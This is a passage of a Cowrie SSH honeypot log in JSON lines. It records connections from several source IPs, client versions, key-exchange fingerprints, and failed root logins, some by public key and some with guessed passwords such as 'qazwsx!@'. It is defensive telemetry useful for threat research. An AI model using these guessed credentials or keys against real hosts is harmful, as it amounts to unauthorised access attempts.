56","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:10.187461Z","src_ip":"80.66.85.226","session":"a81a7a0d1460","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bibl","message":"login attempt [root/bibl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:10.466567Z","src_ip":"80.66.85.226","session":"a81a7a0d1460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:11.560991Z","src_ip":"80.66.85.226","session":"a81a7a0d1460","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.44.20.32","src_port":52014,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2a467784e14","protocol":"ssh","message":"New connection: 188.44.20.32:52014 (10.17.0.5:22) [session: a2a467784e14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:16.407162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:16.412515Z","src_ip":"188.44.20.32","session":"a2a467784e14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:16.562062Z","src_ip":"188.44.20.32","session":"a2a467784e14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.59.187","src_port":53282,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddd0529c7d3e","protocol":"ssh","message":"New connection: 20.203.59.187:53282 (10.17.0.5:22) [session: ddd0529c7d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:17.040707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:17.045964Z","src_ip":"20.203.59.187","session":"ddd0529c7d3e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:09:e8:52:26:92:ba:0d:fd:56:fe:0b:0c:0b:33:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKXSEyIVEjPQjCCRsXXaNEEnzU908FSDifbB6q+ZzzfXnV0XB9gsNa8g1wqFaXwmmllHAqoNbQanzYBNniH5nd4vLyrfoW8m551w3AqYMmpFqJHd+vRHeuwee0eKz7vkssG66Uz7qPhSszZ96z0MGMolg0WgX7cR+4vcl0YC12vEb2zLFAzbwjyB9AKWJMjp6gWHTZesMrI39qVppjHoDvT4UTZwEXRlR7P6VYOkL18juU3mkghK308TMNWW5H/McpkWgRce72Nbtc8yavCnfRDqBXoAl2df9uey6JrzcU4olgZ25/dEn0OtF/l6u4dXWwXEph5lLkCZLDXRpobkFL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:09:e8:52:26:92:ba:0d:fd:56:fe:0b:0c:0b:33:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:17.204447Z","src_ip":"188.44.20.32","session":"a2a467784e14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:09:e8:52:26:92:ba:0d:fd:56:fe:0b:0c:0b:33:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKXSEyIVEjPQjCCRsXXaNEEnzU908FSDifbB6q+ZzzfXnV0XB9gsNa8g1wqFaXwmmllHAqoNbQanzYBNniH5nd4vLyrfoW8m551w3AqYMmpFqJHd+vRHeuwee0eKz7vkssG66Uz7qPhSszZ96z0MGMolg0WgX7cR+4vcl0YC12vEb2zLFAzbwjyB9AKWJMjp6gWHTZesMrI39qVppjHoDvT4UTZwEXRlR7P6VYOkL18juU3mkghK308TMNWW5H/McpkWgRce72Nbtc8yavCnfRDqBXoAl2df9uey6JrzcU4olgZ25/dEn0OtF/l6u4dXWwXEph5lLkCZLDXRpobkFL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:17.208722Z","src_ip":"188.44.20.32","session":"a2a467784e14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:17.214345Z","src_ip":"20.203.59.187","session":"ddd0529c7d3e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:98:48:5e:f1:a1:54:77:a0:5d:50:aa:d8:81:de:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyvBYBLqQrTHo8+El5dsERgm4Ab92dbDRYx/z+PdHqw5DEBU/cT+ehYO6Lt4shRgk+y4NPydoolQx5R2xjBOm9O+rmKDrx1CqsinpXPqAZFrVKdrlOp+oWanlJmPqef3LKdNBB3nbXS7jwgSLFnsT7jaD5LKMDhO0MG6YNKn6lowWs6iD6slvw6YG3gIR92S883wXFEUvc0hzOPu7D+YSa2T76/f0Z5PSG2qxJmhdAh8RWvDfigddykUcdmrPcKKWjcVqTq+Zkrh0Dw0eHBH046vSUpS0ofFfLOuGARkOG0OSSv/hUuXxTxNtaDt6tgptIsF+tlq9PUJqjLlSxWwz+x3Gvw7arJvGARoPJ2s+ImSwN/gNmmlsC0QwxNA50A2sxKmZcyQRwVUvyCXWs3paEKipXWg/YCE6YIUpcsDDx9hjQjVnNTANIwzEFAw51HEtvqCiBunFdm0bFWX/1saIi8OSA9HCEDRpY9u6CM1dOKp6XxeLcx+PEiirHDALlpH217GNrEzvMA3CPxtwVaJGax4rCzJjJGMnhCSb16yub3DYIhLukp5L7AEPcqXb4pTs2ePy1WlIGHTxiyMN5gHovF1qIrY11/qCqd/J24HWlv8oELEKz5CrSjHcMYP2FPrHLSQY7sgL7I5zulmUDcfkJqVMkAoOjmMwU800B+Xhf0Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:98:48:5e:f1:a1:54:77:a0:5d:50:aa:d8:81:de:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:17.345335Z","src_ip":"188.44.20.32","session":"a2a467784e14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:98:48:5e:f1:a1:54:77:a0:5d:50:aa:d8:81:de:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyvBYBLqQrTHo8+El5dsERgm4Ab92dbDRYx/z+PdHqw5DEBU/cT+ehYO6Lt4shRgk+y4NPydoolQx5R2xjBOm9O+rmKDrx1CqsinpXPqAZFrVKdrlOp+oWanlJmPqef3LKdNBB3nbXS7jwgSLFnsT7jaD5LKMDhO0MG6YNKn6lowWs6iD6slvw6YG3gIR92S883wXFEUvc0hzOPu7D+YSa2T76/f0Z5PSG2qxJmhdAh8RWvDfigddykUcdmrPcKKWjcVqTq+Zkrh0Dw0eHBH046vSUpS0ofFfLOuGARkOG0OSSv/hUuXxTxNtaDt6tgptIsF+tlq9PUJqjLlSxWwz+x3Gvw7arJvGARoPJ2s+ImSwN/gNmmlsC0QwxNA50A2sxKmZcyQRwVUvyCXWs3paEKipXWg/YCE6YIUpcsDDx9hjQjVnNTANIwzEFAw51HEtvqCiBunFdm0bFWX/1saIi8OSA9HCEDRpY9u6CM1dOKp6XxeLcx+PEiirHDALlpH217GNrEzvMA3CPxtwVaJGax4rCzJjJGMnhCSb16yub3DYIhLukp5L7AEPcqXb4pTs2ePy1WlIGHTxiyMN5gHovF1qIrY11/qCqd/J24HWlv8oELEKz5CrSjHcMYP2FPrHLSQY7sgL7I5zulmUDcfkJqVMkAoOjmMwU800B+Xhf0Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:17.349689Z","src_ip":"188.44.20.32","session":"a2a467784e14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":60316,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4bca6be4263","protocol":"ssh","message":"New connection: 194.59.206.2:60316 (159.203.135.109:22) [session: e4bca6be4263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:17.415917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:17.421147Z","src_ip":"194.59.206.2","session":"e4bca6be4263","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c0:a5:52:d4:d2:9a:0c:18:89:3e:71:26:64:38:34:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDeu0GxyBIJg2Kz59HF6dEdmMl3OV7+sR7cbnpipCNlFQ8PkiPNLI3MUgZ7wNZ7B7nhwGAkvKOUb51a82ILOxmcMuLaqmCIh2eav2QAsGJ8bb1xVEBk4QFm4TjtuDJ0S6Kuq87refsCCZ/AtnX4u1AWEDKGby8tHV4kSYdnemqEPPQxPNW0ISb5FHnS95KlhQKV8ZbdUQynvWy0wX7ZGqumXybmRIJeoKcOjwm38NRUpGGGe6gUe3nhrLh4xT5/KA/QqHZ1XHTkAXic4OMIkk9vhycbUzKrvFFZWNCQNtV33BekfrR46gsw6nCAQPyLSpDyQmvd3O9ZFM3vL66fzWmQP5dL7Rg32ySX+Bu/iXBRSTDjTdz/V8X5jojS9gBNLANHNqPbvOYfq62NEbz2zptvYA/0QX0qnM2Gcwq8GR0i17SxEDSh4Mn0kz8HckhjEi5uhVoVXuOqmAW814YwaNF4i1ufO2YfIBmCzX9JTL7Tyevyh4PdYu0+qv53GepAl3ACuq0cHaCagb5eAiQGvkkV5Ou275zbUYA7xEWh2KqDzEfsEm0dYJeTWNN1T/2lSvOJSueN99Fp6IJHQNE16Sdu043W6sYDlJyNWbSSda9oJTiLnNmAAf3nOvww6So/plE+wiAcmvoBcwCqAJ4/s8hg7RllTA9MxmpuLPZPCZYvQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c0:a5:52:d4:d2:9a:0c:18:89:3e:71:26:64:38:34:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:17.484044Z","src_ip":"188.44.20.32","session":"a2a467784e14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c0:a5:52:d4:d2:9a:0c:18:89:3e:71:26:64:38:34:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDeu0GxyBIJg2Kz59HF6dEdmMl3OV7+sR7cbnpipCNlFQ8PkiPNLI3MUgZ7wNZ7B7nhwGAkvKOUb51a82ILOxmcMuLaqmCIh2eav2QAsGJ8bb1xVEBk4QFm4TjtuDJ0S6Kuq87refsCCZ/AtnX4u1AWEDKGby8tHV4kSYdnemqEPPQxPNW0ISb5FHnS95KlhQKV8ZbdUQynvWy0wX7ZGqumXybmRIJeoKcOjwm38NRUpGGGe6gUe3nhrLh4xT5/KA/QqHZ1XHTkAXic4OMIkk9vhycbUzKrvFFZWNCQNtV33BekfrR46gsw6nCAQPyLSpDyQmvd3O9ZFM3vL66fzWmQP5dL7Rg32ySX+Bu/iXBRSTDjTdz/V8X5jojS9gBNLANHNqPbvOYfq62NEbz2zptvYA/0QX0qnM2Gcwq8GR0i17SxEDSh4Mn0kz8HckhjEi5uhVoVXuOqmAW814YwaNF4i1ufO2YfIBmCzX9JTL7Tyevyh4PdYu0+qv53GepAl3ACuq0cHaCagb5eAiQGvkkV5Ou275zbUYA7xEWh2KqDzEfsEm0dYJeTWNN1T/2lSvOJSueN99Fp6IJHQNE16Sdu043W6sYDlJyNWbSSda9oJTiLnNmAAf3nOvww6So/plE+wiAcmvoBcwCqAJ4/s8hg7RllTA9MxmpuLPZPCZYvQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:17.487545Z","src_ip":"188.44.20.32","session":"a2a467784e14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:17.511661Z","src_ip":"194.59.206.2","session":"e4bca6be4263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:17.605352Z","src_ip":"194.59.206.2","session":"e4bca6be4263","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:53:90:78:ea:69:eb:65:af:eb:69:97:68:fd:40:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7BR4kJnbfpKD8asCnvlkKex/kC99qKLVW/gy7hChHsqlZ2uyQCuoJze+x5LiRyVvLA4Wy/jqB9dUp7GFg49uqu2JIaehREfTYyxEcy6DTyr9zFHbp7lLfhdY4sfmok83TWQEOLal67FdygsW+3wGEn0ToprGq/n+EmP9qD8Gaj0lIxqUrkiMLfnl/LSsa9eZB5MJbSrcsGWoheMoDn+V+ov5nlcxx+MX4ppf+Sw6yFHUFBGTxbbRuTW6cYEbcUAE68Evow36InDMxqc0jumnrywpFCwOk3jOEvuKChcdHQ3fQGsXpn+dhB89raO/z7bF8x9nDcCXJ3mq+B1xjxI7QQELaPTHnVPMyFJo7Uatfj/gNONTm4We5yelXz88CnoaFI8M9C2JgOUgsAeE72a3Z2kGvLW6o3J3ZxS4PDwIhp02kAoQOZG5CcaDA/93OywiGcKtKMwH+RKgrvxUUjO12Ea+0lte19D3f8M8uD+i2mx8NbzrEN5zET/6fQ+AYMLxq+mgNDEVGsMtVTgQx/4yTPtJfIcQ882QdovLhFHW2np81zSFyniUIA77pjlbaKvhSFLBhMdJ+xrwcnqxoSJTL0R6qNFkHL36bfFwq7uCsHjCcieDSSbZUC/g/6dbhMsUrWlEn/ZqONW8npSEUupGL5sWNOOXnhOT/9CWb2q6ovQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:53:90:78:ea:69:eb:65:af:eb:69:97:68:fd:40:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:17.628583Z","src_ip":"188.44.20.32","session":"a2a467784e14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:53:90:78:ea:69:eb:65:af:eb:69:97:68:fd:40:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7BR4kJnbfpKD8asCnvlkKex/kC99qKLVW/gy7hChHsqlZ2uyQCuoJze+x5LiRyVvLA4Wy/jqB9dUp7GFg49uqu2JIaehREfTYyxEcy6DTyr9zFHbp7lLfhdY4sfmok83TWQEOLal67FdygsW+3wGEn0ToprGq/n+EmP9qD8Gaj0lIxqUrkiMLfnl/LSsa9eZB5MJbSrcsGWoheMoDn+V+ov5nlcxx+MX4ppf+Sw6yFHUFBGTxbbRuTW6cYEbcUAE68Evow36InDMxqc0jumnrywpFCwOk3jOEvuKChcdHQ3fQGsXpn+dhB89raO/z7bF8x9nDcCXJ3mq+B1xjxI7QQELaPTHnVPMyFJo7Uatfj/gNONTm4We5yelXz88CnoaFI8M9C2JgOUgsAeE72a3Z2kGvLW6o3J3ZxS4PDwIhp02kAoQOZG5CcaDA/93OywiGcKtKMwH+RKgrvxUUjO12Ea+0lte19D3f8M8uD+i2mx8NbzrEN5zET/6fQ+AYMLxq+mgNDEVGsMtVTgQx/4yTPtJfIcQ882QdovLhFHW2np81zSFyniUIA77pjlbaKvhSFLBhMdJ+xrwcnqxoSJTL0R6qNFkHL36bfFwq7uCsHjCcieDSSbZUC/g/6dbhMsUrWlEn/ZqONW8npSEUupGL5sWNOOXnhOT/9CWb2q6ovQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:17.633323Z","src_ip":"188.44.20.32","session":"a2a467784e14","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:27:84:34:88:e7:65:2d:c0:45:db:4a:70:9b:69:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1KawndbmNQdC29Jx/wVeSnJyHPxsbH42VllWL21caKYqjUajXQ+t7meKksDGolqw1353RyW0wNca6QhuI4aG/7jscyR6DR1YmwBcxkWPE4NDwiIPOZDwYY45Qx9vdW86Mba7Z3RHSesP/YwrBEmxP/spY9O6wN910g1RVcNVzQ9Qrj/KQrllnz89O4gjBhaknEh8vSqFbHAz7h8y5HnZEvI7VJPB6uiirAtixXOHZzk4aSuQGS30cxRCWI3FKZWnxYrIogMiKQn/dazhcVPuApC5jN8W+horhO1a61OIKQNycW+pE1YTSPP6KVpbFxbVH0Z1EpN5OxKQEIqi7pRZBNjNIE6uizfG5rsyylGigq8IBVbnHFNeUmORji9KrwVes3qB/hoHqQ9i94V38H+fNvfp8MqdrpLnbjt/ufqChhSDQruVuF/Cp0xt4PjpAzr2+DyD5jZdO49SNLFuLj5x929Aq9GInLGU+mcgfD0/GtFPHUcYTX8iBe8OgE33KJ8lhqly5ZqWCrNXnYbzZeOlAwNmXbm1moFwdPsEQT6BjCwWyCsulwZgOcgHm/8Tmkw46w6l/35VJRTvDlur++Dj4EmplhJQ5hT8on09+f8S9Rd7q3/smHFIlJGzY6QWCQF6B8//z9eBp3XQvLkHnigLSZrsgzR98QAyOLV0wtIOURQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:27:84:34:88:e7:65:2d:c0:45:db:4a:70:9b:69:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:17.767766Z","src_ip":"188.44.20.32","session":"a2a467784e14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:27:84:34:88:e7:65:2d:c0:45:db:4a:70:9b:69:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1KawndbmNQdC29Jx/wVeSnJyHPxsbH42VllWL21caKYqjUajXQ+t7meKksDGolqw1353RyW0wNca6QhuI4aG/7jscyR6DR1YmwBcxkWPE4NDwiIPOZDwYY45Qx9vdW86Mba7Z3RHSesP/YwrBEmxP/spY9O6wN910g1RVcNVzQ9Qrj/KQrllnz89O4gjBhaknEh8vSqFbHAz7h8y5HnZEvI7VJPB6uiirAtixXOHZzk4aSuQGS30cxRCWI3FKZWnxYrIogMiKQn/dazhcVPuApC5jN8W+horhO1a61OIKQNycW+pE1YTSPP6KVpbFxbVH0Z1EpN5OxKQEIqi7pRZBNjNIE6uizfG5rsyylGigq8IBVbnHFNeUmORji9KrwVes3qB/hoHqQ9i94V38H+fNvfp8MqdrpLnbjt/ufqChhSDQruVuF/Cp0xt4PjpAzr2+DyD5jZdO49SNLFuLj5x929Aq9GInLGU+mcgfD0/GtFPHUcYTX8iBe8OgE33KJ8lhqly5ZqWCrNXnYbzZeOlAwNmXbm1moFwdPsEQT6BjCwWyCsulwZgOcgHm/8Tmkw46w6l/35VJRTvDlur++Dj4EmplhJQ5hT8on09+f8S9Rd7q3/smHFIlJGzY6QWCQF6B8//z9eBp3XQvLkHnigLSZrsgzR98QAyOLV0wtIOURQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:17.772323Z","src_ip":"188.44.20.32","session":"a2a467784e14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx!@","message":"login attempt [root/qazwsx!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:17.864915Z","src_ip":"20.203.59.187","session":"ddd0529c7d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:17.906834Z","src_ip":"188.44.20.32","session":"a2a467784e14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:19.024553Z","src_ip":"20.203.59.187","session":"ddd0529c7d3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.197","src_port":54136,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1f45c9cb525","protocol":"ssh","message":"New connection: 43.153.50.197:54136 (10.17.0.5:22) [session: c1f45c9cb525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:19.489541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:19.494642Z","src_ip":"43.153.50.197","session":"c1f45c9cb525","protocol":"ssh"}
